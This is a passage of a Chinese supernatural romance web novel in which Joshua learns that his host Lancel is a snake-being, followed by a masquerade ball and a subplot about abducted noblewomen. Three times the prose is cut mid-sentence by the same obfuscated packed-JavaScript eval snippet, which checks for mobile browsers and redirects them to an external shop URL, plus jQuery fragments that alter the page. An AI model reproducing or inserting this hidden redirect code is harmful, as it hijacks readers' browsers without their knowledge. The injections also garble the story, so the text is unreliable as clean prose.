“要配果酱...”约书亚终于把头探出了被子，随即又像意识到什么一样，恼恨地避开了兰瑟尔想要扶他的手。 兰瑟尔一定是提前就准备好了这些，只是为了逗一逗他罢了，烤乳鸽烹饪工序繁琐，至少要提前两个小时准备才行，而兰瑟尔本人却对这一美味佳肴敬谢不敏，约书亚只见过他享用带血的牛排，那随着切割留下来的血水让人忍不住怀疑牛排的熟度。 约书亚一边想着，一边正努力地把右边胳膊也塞进袖子里。 微开的门缝传来交响乐和交谈声，楼下的舞会人声鼎沸，兰瑟尔穿着正装，像是刚从下面应酬回来，任谁也不会想到，这样一位彬彬有礼的绅士，几个小时前正在楼上实施不可饶恕的暴行。 他们一起在卧室用餐，约书亚此时才稍稍清醒了一点，一丝荒谬感涌上心头。 他们谁也没有开口说话。 这仿佛一个再普通不过的家庭聚餐，然而潜藏在背后的，阴影处的触角，却是撒旦播种下的蜜糖，恍惚间，约书亚感觉自己的手脚被什么冰凉滑腻的东西缠住了，他一个激灵，却刚好抬头看到对面的人的表情。 圣主在上， 约书亚第一次觉得，原来人用餐的时候... 可以这么...性感。 从约书亚的角度看去，他只能窥探到兰瑟尔由于微微低头而垂下的浅金色发丝，和咀嚼间游离于刀叉之间的鲜红舌尖。 兰瑟尔保持着一贯良好的餐桌礼仪，慢条斯理地把肉切割再吞咽，就好像他享用的不是食物，而是在品尝身体的某个敏感部位一样。 鸡皮疙瘩顺着手背爬了上来，约书亚慌忙低下头。 不论他承认与否，面前的人对约书亚来说，确实具有难以预估的性吸引力。 这种吸引力是如此之大，以至于即便约书亚再怎样在心里默念圣经，这并不虔诚的祷告也不能带给他丝毫慰藉。 “你没有胃口。” 兰瑟尔的话恰如其分地打断了约书亚的思考。 约书亚此刻有一万个问题想要宣之于口，但张了张嘴，他只是呐呐地问道： “我们...之前认识吗？”他实在不解，约书亚可以肯定，自己从未认识这样一号人，兰瑟尔这样一张脸，只要见过一面就不可能忘掉。 “为什么这么问？”对面的人眨了眨眼。 “我是在给你找借口。”约书亚放下刀叉，抬眼看向对面的人，这种刨根问底式的交流方式让他抓住了一丝心安。 然而兰瑟尔没有立刻回答他的问题，反而抛出了新的疑问。 “你全忘记了，是吗？” “我该记得什么吗？” 迎着约书亚疑惑地目光，兰瑟尔只是笑了笑： “你真的很迟钝，约书亚，我明明已经给你了那么多提示了。” 提示？ 约书亚皱紧了眉，他勉励回想自己遗漏的细节，大脑却像煮沸的浆糊一样找不到方向。 也许是看他思考的样子实在苦恼，兰瑟尔意有所指地朝他举了举杯： “或许在舞会上，你会明白一切。” ...... 楼下的大厅灯火通明。 拾贰人一组的交响乐团演奏着时下最流行的圆舞曲。 约书亚带上面具，潜入人群之中。 即便兰瑟尔已经告诉过他，这只是一个当地的小型聚会，长期以来的谨慎和先前的遭遇却让他下意识隐藏起自己的真实身份。 兰瑟尔的财富令人瞠目，金碧辉煌的大厅里人声鼎沸，并不比约书亚之前参与的派对逊色丝毫，约书亚抬头看向顶层的巨型吊灯，不是那种极繁的巴洛克风格，而是别出心裁的做成了动物的形状——一条巨蟒撷着一支苹果。 这让人很难不去联想其背后的宗教意味，向来，蛇这一生物都与撒旦、恶魔一类的形象紧紧相连，约书亚心中泛起一股熟悉的怪异感。 约书亚向来对这种场合敬而远之，比起在名利场上言笑晏晏，他更乐意去实验室里对着一堆枯燥的数据发呆。 大厅里聚集着不少人，却不显的拥挤，约书亚尽量往人少的角落里靠，却正好听到两位小姐的窃窃私语。 “这都什么宴会，一点都不入流，要不是父亲，我才不要来。”一个有些尖利的声音响起。 “艾米丽，或许你该把目光投向在场的哪位才俊，而不是盯着宴会的装饰不放。”这是另一个沉稳的声音。 “喔，得了吧，我瞧着在场的全都是没有爵位的穷鬼，或者暴发户…” “你是说兰瑟尔大人？”另一个声音抽了一口气，“你可真是眼高于顶，我可听说那位大人是...” “别在这危言耸听了，夏洛特，我瞧你只是看上了他的脸吧。” “你可真粗鲁，圣主在上，戴着面具，我还没看清这位绅士长什么样呢，不过他的庄园可真够气派的。” “那你是没见过洛克勋爵的府邸，那才是真的贵族老爷呢。” 剩下的话被淹没在逐渐响起的交响乐中。 约书亚不禁失笑，他猜测这两位小姐可能是当地某个乡绅的女儿。 鉴于她们身上有些过时的衣料和设计推测，这两位小姐大概并不熟悉上流社会的宴会流程，即使她们已经早过了交际的黄金年纪。 约书亚刚想离开，一个熟悉的声音却闯入了耳朵。 “这位小姐，不知是否愿意成为我的舞伴呢？” 约书亚后背一僵，此刻他无比庆幸自己戴上了面具。 那语气里粘稠的快要流下来的的尾音，和那高高举起的“绅士风度”让约书亚一阵恶心。 ——居然是洛克。 约书亚并没有费心去想洛克出现在这里的原因，他还没那么愚蠢，真的去相信兰瑟尔是一个考生意起家的“暴发户”。 说到底，不外乎是一些贵族之间的利益牵扯罢了。 不知为何，这位老相识并没有佩戴面具，转念一想约书亚就明白了，或许这才是洛克打的算盘，在一众小贵族中凸显自己的身份，谋求便利。 “喔，天呐，我是说，我当然愿意。” 约书亚眼瞧着那位小姐的扇子越扇越快，几乎要晕过去了，洛克却把目光投向了站在一边的约书亚。 “不知这位先生是否愿意割爱？” 约书亚皱了皱眉，楞了一下才反应过来。 原来是把他当作竞争对手了。 约书亚不欲与他再多纠缠，出于礼貌稍稍鞠了一躬，头也不回地离开了这个是非之地。 他本想直接上楼休息，人群中却忽然爆发出一阵骚动，为了不踩到小姐们新做的华丽裙摆，约书亚只好顺着人群被裹挟到舞会中央。 引起骚动的源头好像是一个人。 “老天啊...这可真是...”站在他旁边的一位先生喃喃道。 约书亚顺着他的视线往舞会中央望去，忍不住倒吸了一口气。 是兰瑟尔。 约书亚不是唯一一位隔着面具认出他来的人，无他，这一头浅灰色的长发在灯光下煜煜生辉，实在太扎眼了。 但这并不是约书亚惊叹的原因。 兰瑟尔脸上佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344843|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴了一个蛇型面具。 出于对“化装舞会”这一概念的尊重，大部分的淑女绅士们都佩戴了面具，约书亚也不例外，他的面具简洁得甚至有些敷衍，月白的底边和几何状的花纹低调的过了头，不像是一位客人，更像是哪里来的侍从或是男仆。 而作为贵族小姐来说，孔雀羽毛、珠宝、金饰才是潮流所在。 没有人，没有人会选择那么离经叛道的面具...老天啊....那简直是一个蛇的头骨。 作为整场舞会的承办者，特立独行一些也无可厚非，只是那副刻满鳞片的面具实在太过怪异，和兰瑟尔精致的眉骨卡的严丝合缝，仿佛天生就该长在那似的，这才带来一种不可忽视的违和感。 迎着周遭复杂的目光，兰瑟尔却缓缓地向这边走来。 约书亚心中陡然生出一股不妙的预感。 他转身想跑，双脚却在那双眼睛的注视下被钉在原地不得动弹。 “兰瑟尔先生，我们都在等你开舞呢。” 显然已经有人已经跃跃欲试，忍不住催促到。 约书亚呼吸都停住了一瞬，众目睽睽下，兰瑟尔向他缓缓伸出了手。 恍惚间，法官的话又重现在约书亚的脑海中。 “约书亚先生，你是否承认，你确实迷恋于这个被诅咒的怪物？” 他想起自己当时的回答。 几乎是下意识地，约书亚把手放了上去。 兰瑟尔扬起嘴角，他轻轻握住约书亚的手，另一只手托住约书亚的腰，把他牵引到舞池正中央，随着他的动作，越来越多的舞伴也随着交响乐加入进来。 兰瑟儿可谓是绅士到了极点，他的手臂规规矩矩地扶在约书亚腰间，方便在起跳时借力，可他的视线却与礼貌二字截然相反，约书亚有种被捕食者死死盯住的错觉。 他们离得很近，约书亚甚至可以看到兰瑟儿下半张脸上细小的绒毛，那双翠绿的到眼眸在顶灯投射的照映下仿佛两坛静谧的湖水，随着角度的变换折射出波光粼粼。 迎着那称得上是冒犯的目光，约书亚后知后觉地察觉出一种微妙的熟悉感，他的视线不由地落在面前的人的嘴唇上，约书亚对这里并不陌生，甚至有些脸热。 他记得那里的温度，冰凉的，并没有想象中的柔软，总是略微翘起的嘴角让人联想到蛇类的吻部。 一丝灵感从约书亚脑海中划过。 蛇...蛇的装饰... 冰凉的体温... 蛇的面具....全是蛇！ 约书亚好像终于想起了什么，他睁大眼睛，不可置信地看向面前的人。 兰瑟儿并不知道什么是适可而止，他挽着约书亚跳了一支又一支舞，从交响曲的间章跳到结尾，小姐们都收起了扇子，三五成群的窃窃私语。 围绕在他们周围的议论声越来越大，大部分人只敢拿余光偷偷觑一觑，但也不乏有把心思全都宣之于口的。 相信不出一天，整个上流圈子就会出现类似于“两位绅士过从亲密”的传言以及对兰瑟尔未婚身份的揣测。 但约书亚对此毫不关心，他的大脑嗡嗡作响，一切不合理的巧合在此时此刻终于得以串联起来，拼凑出的真相却让他毛骨悚然，约书亚实在想不通，他第一次意识到，自己的学识是如此贫瘠，以至于要寻求一些宗教神话、超自然现象的帮助。 这种极端不合理性让约书亚开始怀疑，或许他只是陷入了一个离奇的梦境？也许在他醒来后，诸如什么蛇人、兰瑟尔都会消失不见。 但环在腰上的手臂的触感是如此真实，恍惚间，他们已经不知何时离开了宴会，约书亚注意到脚下地毯的花纹是他从没见过的样式，很显然，兰瑟尔把他带到了城堡的未知地带。 13. 真相 这是一间陌生的房间，木地板因为老旧而皲裂，踩在上面吱呀作响。 约书亚神情恍惚，直到听到了房门关闭的声音，他那姗姗来迟的警惕心才忽然在此时冒了出来。 然而还没能说出一句话，他就被兰瑟尔挤到了墙角。 兰瑟尔已经懒得装了，他掀开自己的面具，一缕银发从额前垂落，使这张完美到怪异的脸达到了一种微妙的平衡。 借着透进来的月光，约书亚可以清楚地看到他耳朵两侧爬满的，隐隐泛着荧光的鳞片。 他,亦或是它，长着一张在人类看来极富魅力的脸庞，约书亚猛地一激灵，这才发现他们竟然还牵着手。 塞壬…蛇人…兰瑟尔… 原来如此…… 很难去形容那一瞬间的感觉，像脑袋被重重敲了一记狠绝的闷棍，没有痛楚，但眩晕到什么都想不到——并非是他足够冷静，而是他被这颗重磅炸弹直接轰碎了。 很多被约书亚刻意忽视的细节终于穿成了一串，一瞬间，他想明白了一切。 “你…你到底是什么…”约书亚全身都颤抖着，即便已经基本可以肯定自己的猜测，他还是问出了那个困扰他很久的问题。 “我以为，你肯定知道这个问题的答案。”兰瑟尔的声音永远都是那么平稳和自然，这种胜券在握的姿态让约书亚焦躁又绝望。 他简直是在苦笑了：“要是知道，我一定会提早离你远远的，还会被你耍得团团转吗？” 这太疯狂了，约书亚甚至开始怀疑，是不是他最近停药太久，以至于又产生了幻觉。 这根本有悖科学常理，不，或许就是因为自己对于已知的“科学常理”太过自信，他才每次都和这显而易见的真相失之交臂。 兰瑟尔好像笑了，他们离的太近，约书亚甚至能感受到他胸腔里的震动。 “我从没骗过你，蛇人只是我的一个形态。” 即便早就有了心理准备，约书亚依然感到头痛欲裂，这段时间，他原先窄小而无趣的生活被强行打破，那些被刻意忘记的，甜蜜又惊悚的回忆再次刺痛了他，约书亚甚至支撑不起自己身体的重量，顺着墙滑坐了下去。 “你看起来很痛苦？”兰瑟尔并没有搀扶他，相反，他顺着约书亚的方向蹲了下去，无形中增加了压迫感。 他落下的阴影把约书亚整个包裹了起来，窗外婆娑的月影像是巨大的怪物，贪婪地把触手伸向约书亚，由于背光，约书亚并不能清楚看到兰瑟尔的表情。 约书亚背部紧贴着冰凉的墙面，他无路可逃。 沉默持续了很久。 “不能，不能这样。”似乎是积蓄了些许力量，约书亚忽然抬起了头，他好像想通了什么，甚至没有避开兰瑟尔的目光。 “这是犯罪，兰瑟尔，是我引诱了你，所以上帝给了我处罚，你不会想变成我这样的，对吧？”约书亚简直算得上的循循善诱了，他越说越激动，与此同时，另一种被硬生生剥离的痛苦却在同时折磨着他，让他在无意识中流下了泪。 兰瑟尔没有动，他只是盯着约书亚的脸，也可能是盯着那些泪。 “我会好好赎罪，我会为你忏悔…，我…” “嘘。”约书亚没能好好说下去，他的嘴被轻轻捂住了。 他还想挣扎，却因为一个动作被钉在了原地。 兰瑟尔轻轻地吻掉了他的眼泪。 “你比你想象中的更喜欢我，是吗？” 他凝视着自己，有太多的情绪杂糅在这个目光里，约书亚发现自己无法抗拒。 “不…不！”约书亚下意识地反驳，“那只是我被恶魔引诱了，上帝会宽恕我，只要我愿意改正自己的错误。” “就像你在法庭上说的那样吗？” 仿佛一个惊雷在耳边爆开。 约书亚呆住了，他的嘴下意识微微张开，平添了一份滑稽的色彩，显然，他完全没有预料到这件事。 “你！你在那里？”半晌，他才找回自己的声音。除了震惊，还有一种被窥伺的恐惧，约书亚呼吸困难，简直要晕过去了。 “我无处不在…”兰瑟尔并没有放过他，他紧贴着约书亚的耳畔，用一种带笑的语气，说出更加令人惊骇的事实。 “或许你早该意识到，自从你剪下我的照片，藏在床底，自从你在神像面前承认迷恋我的那一刻，你就已经被你所谓的信仰抛弃了。” 这一刻，约书亚几乎可以听到，幻想中的神像破碎的声音。 原来......自始至终，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344844|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是他。 他所谓的挣扎，不过是原地踏步。 “不是…不是的。”约书亚忍不住开始大口喘气，接二连三的冲击将约书亚本就岌岌可危的抵抗彻底粉碎，他竭力重建自己的思考能力，妄图抵御这来自恶魔口中的咒语。 兰瑟尔身上那种独特的香气侵扰了他整个鼻腔，约书亚的脑子仿佛下一秒就会融化。 “是你选择了我，约书亚，你想成为那个先知，对吗？和恶魔做交易，最后赌上自己的一切。”兰瑟尔的声音是那么笃定，这种逼问下，约书亚简直无处遁形。 约书亚仿佛又听到了那种爬行动物的“嘶嘶”声。 又来了。 这种幻觉。 约书亚绝望地闭上了眼，背德和耻辱在他心里发酵。 恍惚间他吃下了那个被巨蛇衔住的苹果，兰瑟尔说的对，大概从他踏进马戏团的那一刻起，他就已经背负了原罪。 傲慢、贪婪、色丨欲.....人类生来就是这样卑劣的物种，无法控制地被欲望裹挟，即便约书亚再不想承认，他确实被眼前这个怪物深深地吸引。 约书亚眼神空洞，他精神恍惚，只是凭借着本能喃喃到：“我已经一无所有，你到底还想要什么？一个任由你摆布的玩物？还是豢养的娈童？” “你是我的夏娃，约书亚，”兰瑟尔冰凉的唇终于贴上了约书亚的侧脸，他的气息摸索在约书亚耳边，“你是被我诱惑的天使，是我的第七根肋骨。” 他说的那样认真，就好像这个恶魔也有真心似的。 “我会下地狱吗？”约书亚浑身发抖，他几乎是在祷告了。 他已经神志不清了，全然忘记了，眼前这个人，才是诱惑他堕入地狱的罪魁祸首，一种强烈的、前所未有的被污染的感觉让约书亚忍不住发起抖来。 这不是兰瑟尔第一次发笑了，他把约书亚整个拥入怀中，约书亚听到他用一种慈悲的、神父一般的口吻说， “你会永远被困在我的伊甸园。” 约书亚彻底失去了抵抗能力，他眼睁睁看着自己被拖入阴影之中。心脏的某一处却像是被人屈指弹了一下，整个灵魂震荡起来，有什么东西背叛了主人，仿佛要脱离胸膛的控制。 他晕了过去。 14. 膝吻 “东城区最近频发人口失踪案，若有知情者或目击人士，悬赏...” 约书亚心不在焉地放下报纸，那双藏在镜片下的眼睛有些茫然——他在发呆。 他并不是什么关心时事新闻的人，但这几天所有主流媒体的头条都是这件事，甚至有小道消息声称，这将又是一起百年难遇的连环凶杀案。 距离上次的舞会已经过了将近一周，自那之后，约书亚再也没见过兰瑟尔，那个疯子似乎一点都不担心他跑了似的，只让管家留下一封信就人间蒸发了。 信上潦草地带过，兰瑟尔似乎是出门去查探什么事了，他承诺会在一周之内赶回来，甚至还提到，会给约书亚带来帝都最新发表的生物学论文锦集。 如果说信的前半段内容还维持着基本的体面，那在读后半段时，约书亚几乎是用尽了毕生的修养才没有把它当场撕碎。 那是一段极尽热烈、奔放的情诗，说是情诗或许都不太准确，那简直像某个精神病人丧心病狂的求爱宣言。 只是草草扫过两行字，“甜心”、“蜜糖”等诸如此类的词语就已经足够让约书亚被针扎了屁股一样跳起来了。 最可恶的是，兰瑟尔甚至还在末尾用揶揄的口吻留言：希望你不要再晕过去——兰瑟尔·兰卡斯特。 在羞愤到把头埋进被子里，试图闷死自己未遂后，约书亚不禁开始思考这封信里的话语。 “永远的挚爱”、“百年”、“直至世界尽头”，人类总喜欢用一些时间限定来修饰自己贫瘠的感情，好像这样就能够打动别人似的。 但谁又知道百年之后会是什么样呢？约书亚想，就在不久前，科学院才正式公布，地球或许真的是圆的而不是方的；一支来自东方的商队声称自己发现了“龙”的踪迹；而医学院的病人在同一时间得了怪病又同时康复。 唯物主义的思考占据上风后，约书亚反而变得坦然。 既然百年之后大家都将化为尘土，那教义和礼法约束的又是什么呢？ 约书亚放下报纸，起身，在镜子里打量自己，镶金边的巨大落地镜里出现了一个单薄的身影，长久不曾打理过的金发显得有些乱糟糟的堆载颈间，这让他显得有些阴沉。 雄鸟的羽毛只有在求偶期变得鲜艳，约书亚不会承认，但他开始下意识地注意自己的外表。 “某种程度上我也算是心愿成真了，不是吗？”他端详着镜子中的自己，像是在和另一个自己对话似的，微微叹息。 至少现在，约书亚不再需要藏匿心上人的照片，这位大主教不再躺在他的枕头下面，而以一种特别的方式属于了他。 直到现在，他还没能从兰瑟尔就是大主教的事实中回过神来，约书亚百思不得其解，整件事怪诞的的程度就像椰子树上长出了鸡蛋一样。但仔细一想，兰瑟尔在面对外界时，似乎从来没有以真面目示人。 相比之下，约书亚更想知道教会的反应，他不乏阴暗地猜测，如果教会那些老头知道那位圣洁的大主教大人，原来是一个...是一个诱骗他人的坏种，不知道他们的表情会有多么精彩。 这大概也是唯一值得欣慰的事了吧。 思及此，镜子里的人微微皱眉，抛开一开始的震惊，一种焦虑和烦躁也如影随形。 约书亚无意识间咬紧了牙，与兰瑟尔相处的那些瞬间无时无刻都在妄图入侵他的大脑。 或许全世界只有我知道他是一个多么...多么... 天呐！ 思及此，约书亚苍白的脸涨红了。 “——约书亚先生，厨娘做了最新鲜的鱼酱，您想试试吗？” 门外传来管家的声音，伴随着敲门声，打断了他的思绪。 “我这就来。”约书亚随口答道，他从镜子边走开，轻快的脚步让他看上去像一只新生的羚鹿。 我需要先吃饱，再想别的——他是这么自我安慰的。 他摸不准兰瑟尔的意思，却更烦躁于自己还不离开的原因。按理说，在知道了这么一个巨大秘密之后，大概没有人还能心安理得地继续过原来的生活。 他不是没有试探过，就在昨天，约书亚委婉地询问管家，他是否可以去西城区采购一些书写用品，十分钟后，兰瑟尔的私家马车就停在了楼下。 除此之外，约书亚似乎获得了庄园的全部掌控权，他不仅可以随意进出任何房间，还在庄园主人的特别要求下住进了主卧，甚至在一夜之间获得了前所未有的巨大财富——兰瑟尔的私人金库钥匙就附在那封信中。 兰瑟尔似乎真的没有要软禁谁的意思，换句话说，他似乎早就肯定，约书亚并不会因为知道了真相而迫不及待地逃走。 这种隐隐被看透的感觉让约书亚不爽，吃完饭后，他在城堡里呆着无所事事，忽然突发奇想，向管家询问自己可否再去喂一喂那只“宠物”。 即便那玩意实在有些骇人，约书亚却能从它那里获得一股诡异的亲切感——“一只毛掉光了的、奇怪的猫猫”，约书亚是这样给自己暗示的。 没办法，他实在需要干点什么事来分散自己的注意力。 “呃....抱歉，但它现在不需要喂食，老爷说它在......”管家略显尴尬，他绞尽脑汁地想出一个理由，“喔！对了，它现在在冬眠！” 这种欲盖弥彰的态度很难不令约书亚起疑，他那全科拿A的大脑只是略微运转，就想明白了其中的关卡，瞬间就黑了脸。 “——蛇人只是我的一种形态。”想起兰瑟尔之前的话，约书亚基本肯定了这一猜测。 原来如此！！！ 他回想起第一次喂食时，被又吓又舔的滑稽场景，恨恨地咬了咬牙。 很好，又添了一笔新账。 ...... 这种无所事事的平静日子持续到兰瑟尔回来的那天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344845|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不出意料地，他刚好卡在在一周以内回到了庄园。 兰瑟尔是在深夜回来的，和往常一样，约书亚侧耳认真辨认了一下窗外的声音，四周静悄悄的，并没有听到车轮的滚动声，于是他拉起被子蒙住头，准备入睡。 下一秒，一种小动物的直觉却让他忽然睁开了眼，约书亚猛地掀开被子的一角，床头的黑影差点让他尖叫出声。 好在月亮的微光隐隐照出了眼前人独特的发色，约书亚的心跳这才慢慢趋于平缓。 眼前的黑影开口说话：“抱歉，”是约书亚所熟悉的带笑的语调，“本来只是想来看看你，没想到你那么警觉，还是打扰你睡觉了。” “你最好是。”约书亚嘟嘟囔囔地说道，闷闷地把头埋进枕头里。 他还是没有彻底原谅兰瑟尔，天知道这个家伙还瞒了自己多少事情。或许这也是因为他还没能调整好自己的心态——这不能怪约书亚，毕竟不是每个人都能够在短时间内做好和一个非人怪诞生物长期生活的准备的。 “我带了礼物，你想先看一眼他们吗？”又是这种的语气，诱骗的意味简直浓得要流出来了。 约书亚不想让自己表现出很感兴趣的样子，但他那天生过剩的好奇心确实被狠狠地牵动了一下。 礼物？ 这对他来说是一种新奇的体验，过去还在格雷家时，除了每年生日自动累计的冰冷的信托基金，他唯一收到的礼物来自于那位一直照顾他的女管家——一本讲述奇幻冒险的游记。 约书亚仅犹豫了一秒就跳下了床，他没什么可以隐藏的，对于兰瑟尔来说，他就像一块透明的玻璃似的，无论过去还是现在都能一窥到底。 兰瑟尔信守了自己的承诺。 约书亚几乎要乐疯了，除了新发现的生物锦集，他还注意到了一些走私来的异国风俗志，一些菊石标本——约书亚猜测它们或许来自于史前时期。天知道约书亚花了多大的力气才制止自己没有当场掏出显微镜来观察一番。 在如痴如狂、旁若无人地一一品鉴了这些“礼物”，约书亚后知后觉地想起来，自己旁边似乎还站了个人？ 他有些心虚地转头，这才注意到兰瑟尔一直紧盯着自己，似乎是觉得他这样子很有趣，兰瑟尔偏过头笑出了声，然而这种笑声却让约书亚联想到了一些先前一些“不好的”经历。 “谢谢你...但现在我要睡觉了，晚安。”约书亚警惕地盯住兰瑟尔缓慢靠近的身影，生怕他开口要一些什么惊世骇俗的“谢礼”来，他时刻准备着再逃回床上去——虽然那个地方也不见得很安全。 好在兰瑟尔并没打算更进一步，好像是察觉到了约书亚的不安似的，他只是弯下腰，轻轻地、隔着睡衣吻了吻约书亚的膝盖，就绅士地退了回去。 “晚安，明天见。” “晚安。”他小声回复，在黑暗中缓缓转过身去，嘴角却控制不住地向上提。 15. 黑弥撒 一缕莹白的光线从厚重的窗帘之间透过。 约书亚下意识把头往枕头深处埋去，由于长期饱受精神衰弱的困扰，他一直都有戴眼罩入睡的习惯，只是拜兰瑟尔所赐，这种隔绝了外界窥视的感觉只会让他更为不安。 兰瑟尔在半小时前就来过一次，他先是轻敲了约书亚的房门——虽然那并没什么必要，然后用一种哄孩子的语气问他，早餐想吃什么。 出于他前25年人生中所受到的“绅士教育”，约书亚本该立即起床道谢或者至少体面地回应，但他只是随口嘟囔了几句自己也听不明白的话，翻了个身，就又堕入了黑沉沉的梦乡。 毕竟，谁能拒绝在充满雾气的深秋早晨，睡一个暖烘烘的回笼觉呢。 这样的生活真的不会太奢侈了吗？ 约书亚穿着晨袍，光着脚走到餐厅时，还这样想着。 厚实的地毯透出恰到好处的温度，还没到冬天，庄园里却早早燃起了地暖。 约书亚忍不住把双脚合拢蹭了蹭。 如果兰瑟尔的策略是“温水煮青蛙”，那他无疑是成功的。 至少现在，约书亚的生活过的比他前25年的生活都要开心太多。 他可以不顾形象地大嚼特嚼一块树莓派，如果对面传来的眼神没那么炽烈，这个早晨就更完美了。 “我的脸都要被你盯穿了。”约书亚咽下嘴里的食物，小声提醒。 “抱歉。”兰瑟尔这才把头从报纸里抬起来，“我还以为我掩饰地很好。” “根本就没掩饰必要的吧...”约书亚不禁有些想笑。 “那你呢，还要继续掩饰自己的好奇心吗？”听到这，兰瑟尔放下报纸，“你应该有很多问题想要问我吧？” “是这样没错...但你总骗我，谁知道你说的是不是真的。”约书亚说的自己都要泄气了。 “我发誓，只要你问，我绝对不会骗你。”兰瑟尔轻声道，他的语气那样真诚，搞得约书亚拼命压抑的好奇心蠢蠢欲动。 约书亚下意识坐直了上半身，咽了咽口水，才谨慎地发问， “你...或者说，你们...到底是什么？” 他巴不得把耳朵竖起来听，就像考古学家中需要揭开尘封在棺椁里千年的秘密那样期待。 “如你所见，我的部分形态与普世意义上的“人类”并不相同。”兰瑟尔眨了眨眼，“我知道这或许颠覆了你迄今为止认知到的所有科学常识，但这个世界上确实存在着一些超自然现象。” 他的语气太过随意和正常，如果忽略说话的内容，仿佛在说“你今天要喝牛奶吗”一样日常。 “等等...等等...超自然现象？你是说什么吸血鬼、狼人这一类的？” 约书亚猛地站了起来，意识到自己的失态，又慢吞吞地坐了下去。 “按照人类的分类标准，或许是的。”或许是觉得他震惊的样子很可爱，兰瑟尔冲着他眨了眨眼。 一时间接收到了太多信息，约书亚感觉自己的大脑运转过载了。 虽然早就已经基本确定，但听到兰瑟尔亲口承认，约书亚还是陷入了一种极大地震惊之中。 他觉得自己需要更多时间去消化一下这个惊天秘密。 “还有...还有你那个宠物。”灵光一现，约书亚连忙发问。 兰瑟尔并没有回答，但是他的默认也足够让约书亚火冒三丈了。 “所以你就这么喜欢恐吓我？我当时心跳都要停了。”约书亚恨恨磨了磨后槽牙。 “实在抱歉，”似乎是感受到了约书亚的怒意不能再被轻易敷衍，兰瑟尔终于放下了手里的茶杯，“只是我在...那个形态时，有些控制不住动物的本能。” “那个...形态？”约书亚有些迟疑地发问，第六感告诉他，这不会有什么好答案。 “比如说，想要吞咽，想要缠绕，你知道的，结束冬眠以后冷血动物一般都会很活跃，以及到了发情期，我会...” “等等！”约书亚有些狼狈地打断他，“你只是瞎找借口吧。” 但不得不承认，尽管隐藏地再好，兰瑟尔有时依然会显现出一些动物的习性，尤其是当他被本能支配的时候，随即约书亚像是想起了什么似的，脸上忽然现出一丝薄怒的晕红。 “你好像还在生气，能告诉我为什么吗？”兰瑟尔似乎是觉得很有意思，上半身微倾过来，方便仔细打量约书亚的神色。 “没有。”约书亚有些狼狈地偏过了头，但他否认的速度说明了一切。 空气中又出现了那种黏着的氛围，约书亚感到很不自在，只能随便找个话题打破沉默。 “所以你这几天在忙什么？” 兰瑟尔闻言稍稍收敛了点笑容，“你还记得舞会上，洛克带走的女伴吗？” “有点印象，”约书亚略微思索了片刻，一个模糊的影子出现在他脑海里，“好像是叫艾米丽？” 兰瑟尔没说话，眼睛却盯住了约书亚的脸。 约书亚莫名看出了那眼神里传达出来的含义——你居然还记得她的名字。 约书亚莫名有些想笑，只能摸了摸鼻子掩饰。 “她是当地男爵的女儿，还有她的姐姐，她们都是此次失踪案的受害者。” 原来如此！ 他有些恍然，之前仅仅在报纸上看到这件事时，他没有什么真实感，然而几天前刚见过的人竟然成了受害者，这种巨大的割裂感让约书亚一时间说不出话来。 约书亚张了张嘴，却说不出什么话来，半晌，才干巴巴地问道：“恕我直言，你实在不像是会对这些事情感兴趣的人。” “我确实对这些事情不感兴趣，不过...”兰瑟尔显然有未尽之言，这么久以来，约书亚也算摸清楚了一些跟他相处时的诀窍。 比如现在，兰瑟尔只不过是等着约书亚开口询问罢了。 他对这种小把戏向来乐此不疲。 “这件事跟你与关系，是吗？又或者...跟我有关系？”约书亚有些不确定地问道。 “我不得不承认，你简直是我见过最聪明的人类。”一丝狡黠从兰瑟尔的脸上闪过。 “这并不是什么能够引以为傲的夸奖。” 兰瑟尔摸了眯眼，“我刚查到，这件事背后的中间商，就是那位名声在外的洛克老爷。”在看到约书亚震惊的表情后，他又施施然补上一句：“你知道，他与教会关系匪浅。” “他真是疯了，”约书亚眉头紧皱，“贵族小姐接连失踪，这可不是一件小事。” “他也不想，一个交际花的命或许没人在乎，但一位未出嫁的小姐…只是上面的人要求他，必须是处女，才能完成所谓的献祭仪式。” “上面的人？”约书亚敏锐地捕捉到了重点，“我就知道，以洛克自己，绝对不敢干出这样的事，只是他为什么要做这些？” 闻言，兰瑟儿的眼睛里闪过一丝厌恶，“是黑弥撒。” 约书亚瞪大了眼睛，他并不是一个大惊小怪的人，只是这个词，已经完全触碰到了世俗世界的最高禁忌。 “我以为，之前私下进行这些行为的人…都被吊死了。”好半天，他才继续说道。 “谁知道呢，就像你不能完全杀死阴沟里的老鼠，这些事情也一样。” 约书亚有些不寒而栗，他忽然意识到，教廷的水或许 